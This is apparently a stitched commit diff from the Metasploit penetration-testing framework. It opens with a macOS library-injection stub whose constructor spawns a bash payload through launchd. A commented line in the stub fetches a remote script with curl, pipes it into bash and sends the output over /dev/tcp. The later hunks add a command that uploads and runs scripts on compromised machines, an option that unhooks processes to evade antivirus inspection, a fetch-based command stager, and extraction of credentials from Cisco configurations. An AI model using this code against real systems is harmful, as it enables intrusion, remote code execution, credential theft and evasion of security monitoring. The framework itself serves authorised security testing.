size_t spawn_binpref_cnt;
void * spawn_quarantine;
const char *spawn_seatbelt_profile;
const uint64_t *spawn_seatbelt_flags;
};
#define spawn_via_launchd(a, b, c) _spawn_via_launchd(a, b, c, 3)
pid_t _spawn_via_launchd(const char *label, const char * const *argv, const struct spawn_via_launchd_attr *spawn_attrs, int struct_version);
const char payload_cmd_placeholder[1024] = "PAYLOAD_CMD_PLACEHOLDER";
__attribute__((constructor))
void _injection()
{
const char* argv[] = {
"/bin/bash",
"-c",
payload_cmd_placeholder,
/*"open /Applications/Calculator.app/Contents/MacOS/Calculator",*/
/*"curl http://" HOST ":" HTTP_PORT "/pwn.sh | bash > /dev/tcp/" HOST "/" TCPLOG_PORT " 2>&1",*/
0,
};
mach_port_t mpo = MACH_PORT_NULL;
struct spawn_via_launchd_attr attrs;
memset(&attrs, 0, sizeof(attrs));
attrs.spawn_observer_port = &mpo;
spawn_via_launchd("net.saelo.hax", argv, &attrs);
}

View File

@ -1,424 +0,0 @@
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/exe_format/main'
require 'metasm/encode'
require 'metasm/decode'
module Metasm
class JavaClass < ExeFormat
MAGIC = "\xCA\xFE\xBA\xBE"
CONSTANT_TAG = {0x1 => 'Utf8', 0x3 => 'Integer',
0x4 => 'Float', 0x5 => 'Long',
0x6 => 'Double', 0x7 => 'Class',
0x8 => 'String', 0x9 => 'Fieldref',
0xa => 'Methodref', 0xb => 'InterfaceMethodref',
0xc => 'NameAndType' }
class SerialStruct < Metasm::SerialStruct
new_int_field :u1, :u2, :u4
end
class Header < SerialStruct
mem :magic, 4, MAGIC
u2 :minor_version
u2 :major_version
end
class ConstantPool < SerialStruct
u2 :constant_pool_count
attr_accessor :constant_pool
def decode(c)
super(c)
@constant_pool = [nil]
i = 1
while i < @constant_pool_count
entry = ConstantPoolInfo.decode(c)
entry.idx = i
@constant_pool << entry
i += 1
if entry.tag =~ /Long|Double/
# we must insert a phantom cell
# for long and double constants
@constant_pool << nil
i += 1
end
end
end
def encode(c)
cp = super(c)
@constant_pool.each { |entry|
next if entry.nil?
cp << entry.encode(c)
}
cp
end
def [](idx)
@constant_pool[idx]
end
def []=(idx, val)
raise 'cannot be used to add a cp entry' if @constant_pool[idx].nil?
@constant_pool[idx] = val
end
end
class ConstantPoolInfo < SerialStruct
u1 :tag
fld_enum :tag, CONSTANT_TAG
attr_accessor :info, :idx
def decode(c)
super(c)
case @tag
when 'Utf8'
@info = ConstantUtf8.decode(c)
when /Integer|Float/
@info = ConstantIntFloat.decode(c)
when /Long|Double/
@info = ConstantLongDouble.decode(c)
when /Class|String/
@info = ConstantIndex.decode(c)
when /ref$/
@info = ConstantRef.decode(c)
when 'NameAndType'
@info = ConstantNameAndType.decode(c)
else
raise 'unknown constant tag'
return
end
end
def encode(c)
super(c) << @info.encode(c)
end
end
class ConstantUtf8 < SerialStruct
u2 :length
attr_accessor :bytes
def decode(c)
super(c)
@bytes = c.encoded.read(@length)
end
def encode(c)
super(c) << @bytes
end
end
class ConstantIntFloat < SerialStruct
u4 :bytes
end
class ConstantLongDouble < SerialStruct
u4 :high_bytes
u4 :low_bytes
end
class ConstantIndex < SerialStruct
u2 :index
end
class ConstantRef < SerialStruct
u2 :class_index
u2 :name_and_type_index
end
class ConstantNameAndType < SerialStruct
u2 :name_index
u2 :descriptor_index
end
class ClassInfo < SerialStruct
u2 :access_flags
u2 :this_class
u2 :super_class
end
class Interfaces < SerialStruct
u2 :interfaces_count
attr_accessor :interfaces
def decode(c)
super(c)
@interfaces = []
@interfaces_count.times {
@interfaces << ConstantIndex.decode(c)
}
end
def encode(c)
ret = super(c)
@interfaces.each { |e|
ret << e.encode(c)
}
ret
end
def [](idx)
@interfaces[idx]
end
end
class Fields < SerialStruct
u2 :fields_count
attr_accessor :fields
def decode(c)
super(c)
@fields = []
@fields_count.times {
@fields << FieldMethodInfo.decode(c)
}
end
def encode(c)
ret = super(c)
@fields.each { |e|
ret << e.encode(c)
}
ret
end
def [](idx)
@fields[idx]
end
end
class Methods < SerialStruct
u2 :methods_count
attr_accessor :methods
def decode(c)
super(c)
@methods = []
@methods_count.times {
@methods << FieldMethodInfo.decode(c)
}
end
def encode(c)
ret = super(c)
@methods.each { |e|
ret << e.encode(c)
}
ret
end
def [](idx)
@methods[idx]
end
end
class FieldMethodInfo < SerialStruct
u2 :access_flags
u2 :name_index
u2 :descriptor_index
attr_accessor :attributes
def decode(c)
super(c)
@attributes = Attributes.decode(c)
end
def encode(c)
super(c) << @attributes.encode(c)
end
end
class Attributes < SerialStruct
u2 :attributes_count
attr_accessor :attributes
def decode(c)
super(c)
@attributes = []
@attributes_count.times { |i|
@attributes << AttributeInfo.decode(c)
}
end
def encode(c)
ret = super(c)
@attributes.each { |e|
ret << e.encode(c)
}
ret
end
def [](idx)
@attributes[idx]
end
end
class AttributeInfo < SerialStruct
u2 :attribute_name_index
u4 :attribute_length
attr_accessor :data
def decode(c)
super(c)
@data = c.encoded.read(@attribute_length)
end
def encode(c)
super(c) << @data
end
end
def encode_u1(val) Expression[val].encode(:u8, @endianness) end
def encode_u2(val) Expression[val].encode(:u16, @endianness) end
def encode_u4(val) Expression[val].encode(:u32, @endianness) end
def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end
def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def sizeof_u1 ; 1 ; end
def sizeof_u2 ; 2 ; end
def sizeof_u4 ; 4 ; end
attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes
def initialize(endianness=:big)
@endianness = endianness
@encoded = EncodedData.new
super()
end
def decode
@header = Header.decode(self)
@constant_pool = ConstantPool.decode(self)
@class_info = ClassInfo.decode(self)
@interfaces = Interfaces.decode(self)
@fields = Fields.decode(self)
@methods = Methods.decode(self)
@attributes = Attributes.decode(self)
end
def encode
@encoded = EncodedData.new
@encoded << @header.encode(self)
@encoded << @constant_pool.encode(self)
@encoded << @class_info.encode(self)
@encoded << @interfaces.encode(self)
@encoded << @fields.encode(self)
@encoded << @methods.encode(self)
@encoded << @attributes.encode(self)
@encoded.data
end
def cpu_from_headers
raise 'JVM'
end
def each_section
raise 'n/a'
end
def get_default_entrypoints
[]
end
def string_at(idx)
loop do
tmp = @constant_pool[idx].info
return tmp.bytes if tmp.kind_of? ConstantUtf8
idx = tmp.index
end
end
def decode_methodref(mref)
class_idx = mref.info.class_index
nt_idx = mref.info.name_and_type_index
name_idx = @constant_pool[nt_idx].info.name_index
desc_idx = @constant_pool[nt_idx].info.descriptor_index
string_at(class_idx) + '/' + string_at(name_idx) + string_at(desc_idx)
end
def cp_add(cpi, tag)
cpe = ConstantPoolInfo.new
cpe.tag = tag
cpe.info = cpi
cpe.idx = @constant_pool.constant_pool_count
@constant_pool.constant_pool << cpe
@constant_pool.constant_pool_count += 1
@constant_pool.constant_pool_count += 1 if tag =~ /Long|Double/
cpe.idx
end
def cp_find(tag)
constant_pool.constant_pool.each { |e|
next if !e or e.tag != tag
if yield(e.info)
return e.idx
end
}
nil
end
def cp_auto_utf8(string)
if idx = cp_find('Utf8') { |i| i.bytes == string }
return idx
end
cpi = ConstantUtf8.new
cpi.bytes = string
cpi.length = string.length
cp_add(cpi, 'Utf8')
end
def cp_auto_class(classname)
if idx = cp_find('Class') { |i| string_at(i.index) == classname }
return idx
end
cpi = ConstantIndex.new
cpi.index = cp_auto_utf8(classname)
cp_add(cpi, 'Class')
end
def cp_add_methodref(classname, name, descriptor)
nat = ConstantNameAndType.new
nat.name_index = cp_auto_utf8(name)
nat.descriptor_index = cp_auto_utf8(descriptor)
natidx = cp_add(nat, 'NameAndType')
cpi = ConstantRef.new
cpi.class_index = cp_auto_class(classname)
cpi.name_and_type_index = natidx
cp_add(cpi, 'Methodref')
end
def attribute_create(name, data)
a = AttributeInfo.new
a.attribute_name_index = cp_auto_utf8(name)
a.attribute_length = data.size
a.data = data
a
end
end
end

File diff suppressed because it is too large Load Diff

View File

@ -14,6 +14,14 @@ module RemoteCredentialDataService
parsed_body = JSON.parse(data.response.body).symbolize_keys
data = parsed_body[:data]
data.each do |cred|
if cred['public']
public_object = to_ar(cred['public']['type'].constantize, cred['public'])
rv[data.index(cred)].public = public_object
end
if cred['private']
private_object = to_ar(cred['private']['type'].constantize, cred['private'])
rv[data.index(cred)].private = private_object
end
if cred['origin']
origin_object = to_ar(cred['origin']['type'].constantize, cred['origin'])
rv[data.index(cred)].origin = origin_object
@ -33,4 +41,4 @@ module RemoteCredentialDataService
def delete_credentials(opts)
json_to_mdm_object(self.delete_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, [])
end
end
end

View File

@ -93,10 +93,9 @@ module Metasploit
proof = nil
begin
realm = credential.realm || ""
username = credential.public || ""
password = credential.private || ""
realm = (credential.realm || "").force_encoding('UTF-8')
username = (credential.public || "").force_encoding('UTF-8')
password = (credential.private || "").force_encoding('UTF-8')
client = RubySMB::Client.new(self.dispatcher, username: username, password: password, domain: realm)
status_code = client.login
@ -135,7 +134,7 @@ module Metasploit
rescue RubySMB::Error::UnexpectedStatusCode => e
status = Metasploit::Model::Login::Status::INCORRECT
ensure
client.disconnect!
client.disconnect! if client
end
if status == Metasploit::Model::Login::Status::SUCCESSFUL && credential.public.empty?

View File

@ -93,10 +93,11 @@ class CommandShell
'help' => 'Help menu',
'background' => 'Backgrounds the current shell session',
'sessions' => 'Quickly switch to another session',
'resource' => 'Run the commands stored in a file',
'resource' => 'Run a meta commands script stored in a local file',
'shell' => 'Spawn an interactive shell (*NIX Only)',
'download' => 'Download files (*NIX Only)',
'upload' => 'Upload files (*NIX Only)',
'source' => 'Run a shell script on remote machine (*NIX Only)',
}
end
@ -199,7 +200,9 @@ class CommandShell
end
end
if good_res
print_status("Executing resource script #{good_res}")
load_resource(good_res)
print_status("Resource script #{good_res} complete")
else
print_error("#{res} is not a valid resource file")
next
@ -430,6 +433,43 @@ class CommandShell
return data_repr
end
def cmd_source_help
print_line("Usage: source [file] [background]")
print_line
print_line("Execute a local shell script file on remote machine")
print_line("This meta command will upload the script then execute it on the remote machine")
print_line
print_line("background")
print_line("`y` represent execute the script in background, `n` represent on foreground")
end
def cmd_source(*args)
if args.length != 2
# no argumnets, just print help message
return cmd_source_help
end
background = args[1].downcase == 'y'
local_file = args[0]
remote_file = "/tmp/." + ::Rex::Text.rand_text_alpha(32) + ".sh"
cmd_upload(local_file, remote_file)
# Change file permission in case of TOCTOU
shell_command("chmod 0600 #{remote_file}")
if background
print_status("Executing on remote machine background")
print_line(shell_command("nohup sh -x #{remote_file} &"))
else
print_status("Executing on remote machine foreground")
print_line(shell_command("sh -x #{remote_file}"))
end
print_status("Cleaning temp file on remote machine")
shell_command("rm -rf #{remote_file}")
end
#
# Explicitly runs a single line command.
#

View File

@ -17,6 +17,7 @@ module CommandShellOptions
register_advanced_options(
[
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', true]),
OptString.new('InitialAutoRunScript', "An initial script to run on session creation (before AutoRunScript)"),
OptString.new('AutoRunScript', "A script to run automatically on session creation."),
OptString.new('CommandShellCleanupCommand', "A command to run before the session is closed")

View File

@ -152,6 +152,12 @@ class Meterpreter < Rex::Post::Meterpreter::Client
# TODO: This session was either staged or previously known, and so we should do some accounting here!
end
# Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP
if datastore['AutoUnhookProcess'] == true
console.run_single('load unhook')
console.run_single('unhook_pe')
end
unless datastore['AutoLoadStdapi'] == false
session.load_stdapi

View File

@ -70,7 +70,11 @@ module Msf
OptString.new(
'PayloadProcessCommandLine',
[ false, 'The displayed command line that will be used by the payload', '']
)
),
OptBool.new(
'AutoUnhookProcess',
[true, "Automatically load the unhook extension and unhook the process", false]
),
],
self.class
)

View File

@ -626,7 +626,7 @@ module Auxiliary::AuthBrute
port = host_port.to_s.strip if host_port
complete_message = nil
old_msg = msg.to_s.strip
msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni
msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/i
if old_msg.match(msg_regex)
complete_message = msg.to_s.strip
else

View File

@ -34,7 +34,7 @@ module Auxiliary::Cisco
end
def cisco_ios_config_eater(thost, tport, config)
credential_data = {
address: thost,
port: tport,
@ -88,7 +88,7 @@ module Auxiliary::Cisco
shash = cisco_ios_decrypt7(shash) rescue shash
print_good("#{thost}:#{tport} Decrypted Enable Password: #{shash}")
store_loot("cisco.ios.enable_pass", "text/plain", thost, shash, "enable_password.txt", "Cisco IOS Enable Password")
cred = credential_data.dup
cred[:private_data] = shash
cred[:private_type] = :password
@ -131,27 +131,27 @@ module Auxiliary::Cisco
spass = cisco_ios_decrypt7(spass) rescue spass
print_good("#{thost}:#{tport} Decrypted VTY Password: #{spass}")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :password
create_credential_and_login(cred)
when /^\s*(password|secret) 5 (.*)/i
shash = $2.strip
print_good("#{thost}:#{tport} MD5 Encrypted VTY Password: #{shash}")
store_loot("cisco.ios.vty_password", "text/plain", thost, shash, "vty_password_hash.txt", "Cisco IOS VTY Password Hash (MD5)")
cred = credential_data.dup
cred[:private_data] = shash
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
when /^\s*password (0 |)([^\s]+)/i
spass = $2.strip
print_good("#{thost}:#{tport} Unencrypted VTY Password: #{spass}")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
@ -212,7 +212,7 @@ module Auxiliary::Cisco
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
when /^\s*interface tunnel(\d+)/i
tuniface = $1
@ -222,24 +222,24 @@ module Auxiliary::Cisco
print_good("#{thost}:#{tport} GRE Tunnel Key #{spass} for Interface Tunnel #{siface}")
store_loot("cisco.ios.gre_tunnel_key", "text/plain", thost, "tunnel#{siface}_#{spass}", "gre_tunnel_key.txt", "Cisco GRE Tunnel Key")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
when /^\s*ip nhrp authentication ([^\s]+)/i
spass = $1
siface = tuniface
print_good("#{thost}:#{tport} NHRP Authentication Key #{spass} for Interface Tunnel #{siface}")
store_loot("cisco.ios.nhrp_tunnel_key", "text/plain", thost, "tunnel#{siface}_#{spass}", "nhrp_tunnel_key.txt", "Cisco NHRP Authentication Key")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
#
# Various authentication secrets
@ -280,6 +280,20 @@ module Auxiliary::Cisco
create_credential_and_login(cred)
end
# This regex captures ephones from Cisco Unified Communications Manager Express (CUE) which come in forms like:
# username &#34;phonefour&#34; password 444444
# username test password test
# This is used for the voicemail system
when /^\s*username (?:&#34;)([^\s]+)(?:&#34;) password ([^\s]+)/i
user = $1
spass = $2
print_good("#{thost}:#{tport} ePhone Username '#{user}' with Password: #{spass}")
store_loot("cisco.ios.ephone.username_password", "text/plain", thost, "#{user}:#{spass}", "ephone_username_password.txt", "Cisco IOS ephone Username and Password")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
create_credential_and_login(cred)
when /^\s*username ([^\s]+) (secret|password) (\d+) ([^\s]+)/i
user = $1
stype = $3.to_i
@ -324,7 +338,7 @@ module Auxiliary::Cisco
if stype == 5
print_good("#{thost}:#{tport} PPP Username #{suser} MD5 Encrypted Password: #{spass}")
store_loot("cisco.ios.ppp_username_password_hash", "text/plain", thost, "#{suser}:#{spass}", "ppp_username_password_hash.txt", "Cisco IOS PPP Username and Password Hash (MD5)")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash
@ -334,7 +348,7 @@ module Auxiliary::Cisco
if stype == 0
print_good("#{thost}:#{tport} PPP Username: #{suser} Password: #{spass}")
store_loot("cisco.ios.ppp_username_password", "text/plain", thost, "#{suser}:#{spass}", "ppp_username_password.txt", "Cisco IOS PPP Username and Password")
cred = credential_data.dup
cred[:private_data] = spass
cred[:private_type] = :nonreplayable_hash

View File

@ -443,7 +443,7 @@ module Auxiliary::Report
# module, such as files from fileformat exploits. (TODO: actually
# implement this on file format modules.)
#
# +filenmae+ is the local file name.
# +filename+ is the local file name.
#
# +data+ is the actual contents of the file
#

View File

@ -313,16 +313,21 @@ protected
#
def find_key_case(k)
# Scan each alias looking for a key
search_k = k.downcase
# Find alias match if it exists
if self.aliases.has_key?(search_k)
a = self.aliases[search_k]
return a if self.has_key?(a)
search_k = self.aliases[search_k]
end
# Return the original key if it does not exist in the datastore
self.has_key?(search_k) ? search_k : k
# Scan each key looking for a match
self.each_key do |rk|
if rk.downcase == search_k
return rk
end
end
# Fall through to the non-existent value
return k
end
end

View File

@ -95,8 +95,68 @@ module Msf::DBManager::Import
ftype = import_filetype_detect(data)
yield(:filetype, @import_filedata[:type]) if block
self.send "import_#{ftype}".to_sym, args.merge(workspace: wspace.name), &block
# post process the import here for missing default port maps
mrefs, mports, _mservs = Msf::Modules::Metadata::Cache.instance.all_remote_exploit_maps
# the map build above is a little expensive, another option is to do
# a host by ref search for each vuln ref and then check port reported for each module
# IMHO this front loaded cost here is worth it with only a small number of modules
# compared to the vast number of possible references offered by a Vulnerability scanner.
deferred_service_ports = [ 139 ] # I hate special cases, however 139 is no longer a preferred default
new_host_ids = Mdm::Host.where(workspace: wspace).map(&:id)
(new_host_ids - existing_host_ids).each do |id|
imported_host = Mdm::Host.where(id: id).first
next if imported_host.vulns.nil? || imported_host.vulns.empty?
# get all vulns with ports
with_ports = []
imported_host.vulns.each do |vuln|
next if vuln.service.nil?
with_ports << vuln.name
end
imported_host.vulns.each do |vuln|
# now get default ports for vulns where service is nil
next unless vuln.service.nil?
next if with_ports.include?(vuln.name)
serv = nil
# Module names that match this vulnerability
matched = mrefs.values_at(*(vuln.refs.map { |x| x.name.upcase } & mrefs.keys)).map { |x| x.values }.flatten.uniq
next if matched.empty?
match_names = matched.map { |mod| mod.full_name }
second_pass_services = []
imported_host.services.each do |service|
if deferred_service_ports.include?(service.port)
second_pass_services << service
next
end
next unless mports[service.port]
if (match_names - mports[service.port].keys).count < match_names.count
serv = service
break
end
end
# post process any deferred services if no match has been found
if serv.nil? && !second_pass_services.empty?
second_pass_services.each do |service|
next unless mports[service.port]
if (match_names - mports[service.port].keys).count < match_names.count
serv = service
break
end
end
end
next if serv.nil?
vuln.service = serv
vuln.save
end
end
if preserve_hosts
new_host_ids = Mdm::Host.where(workspace: wspace).map(&:id)
(new_host_ids - existing_host_ids).each do |id|
Mdm::Host.where(id: id).first.normalize_os
end

View File

@ -23,7 +23,8 @@ module Exploit::CmdStager
:certutil => Rex::Exploitation::CmdStagerCertutil,
:tftp => Rex::Exploitation::CmdStagerTFTP,
:wget => Rex::Exploitation::CmdStagerWget,
:curl => Rex::Exploitation::CmdStagerCurl
:curl => Rex::Exploitation::CmdStagerCurl,
:fetch => Rex::Exploitation::CmdStagerFetch
}
# Constant for decoders - used when checking the default flavor decoder.
@ -55,7 +56,8 @@ module Exploit::CmdStager
register_advanced_options(
[
OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.'])
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']),
OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false])
], self.class)
end
@ -128,6 +130,7 @@ module Exploit::CmdStager
self.stager_instance = create_stager
if stager_instance.respond_to?(:http?) && stager_instance.http?
opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl)
opts[:payload_uri] = start_service(opts)
end

View File

@ -10,6 +10,7 @@ module Msf
require 'msf/core/exploit/http/wordpress/base'
require 'msf/core/exploit/http/wordpress/helpers'
require 'msf/core/exploit/http/wordpress/login'
require 'msf/core/exploit/http/wordpress/register'
require 'msf/core/exploit/http/wordpress/posts'
require 'msf/core/exploit/http/wordpress/uris'
require 'msf/core/exploit/http/wordpress/users'
@ -21,6 +22,7 @@ module Msf
include Msf::Exploit::Remote::HTTP::Wordpress::Base
include Msf::Exploit::Remote::HTTP::Wordpress::Helpers
include Msf::Exploit::Remote::HTTP::Wordpress::Login
include Msf::Exploit::Remote::HTTP::Wordpress::Register
include Msf::Exploit::Remote::HTTP::Wordpress::Posts
include Msf::Exploit::Remote::HTTP::Wordpress::URIs
include Msf::Exploit::Remote::HTTP::Wordpress::Users

View File

@ -20,6 +20,22 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
post_data
end
# Returns the POST data for a Wordpress register request
#
# @param user [String] Username
# @param email [String] Email Address
# @param redirect URL [String] to redirect after successful registration
# @return [Hash] The post data for vars_post Parameter
def wordpress_helper_register_post_data(user, email, redirect = nil)
{
'user_login' => user.to_s,
'user_email' => email.to_s,
'redirect_to' => redirect.to_s,
'wp-submit' => 'Register'
}
end
# Helper method to post a comment to Wordpress
#
# @param comment [String] The comment

View File

@ -0,0 +1,20 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Wordpress::Register
# performs a wordpress registration
#
# @param user [String] Username
# @param email [String] Email Address
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [Bool] registration request success status
def wordpress_register(user, email, timeout = 20)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_get' => {'action' => 'register'},
'vars_post' => wordpress_helper_register_post_data(user, email, redirect)
}, timeout)
res && res.redirect? && res.redirection && res.redirection.to_s == redirect
end
end

View File

@ -119,8 +119,44 @@ module Msf::Module::External
})
invalidate_login(**cred)
when 'credential_login'
handle_credential_login(data, mod)
else
print_warning "Skipping unrecognized report type #{m.params['type']}"
end
end
end
#
# Handles login report that does not necessarily need to include a password
#
def handle_credential_login(data, mod)
# Required
service_data = {
address: data['address'],
port: data['port'],
protocol: data['protocol'],
service_name: data['service_name'],
module_fullname: self.fullname,
workspace_id: myworkspace_id
}
# Optional
credential_data = {
origin_type: :service,
username: data['username']
}.merge(service_data)
if data.has_key?(:password)
credential_data[:private_data] = data['password']
credential_data[:private_type] = :password
end
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
}.merge(service_data)
create_credential_login(login_data)
end

Some files were not shown because too many files have changed in this diff Show More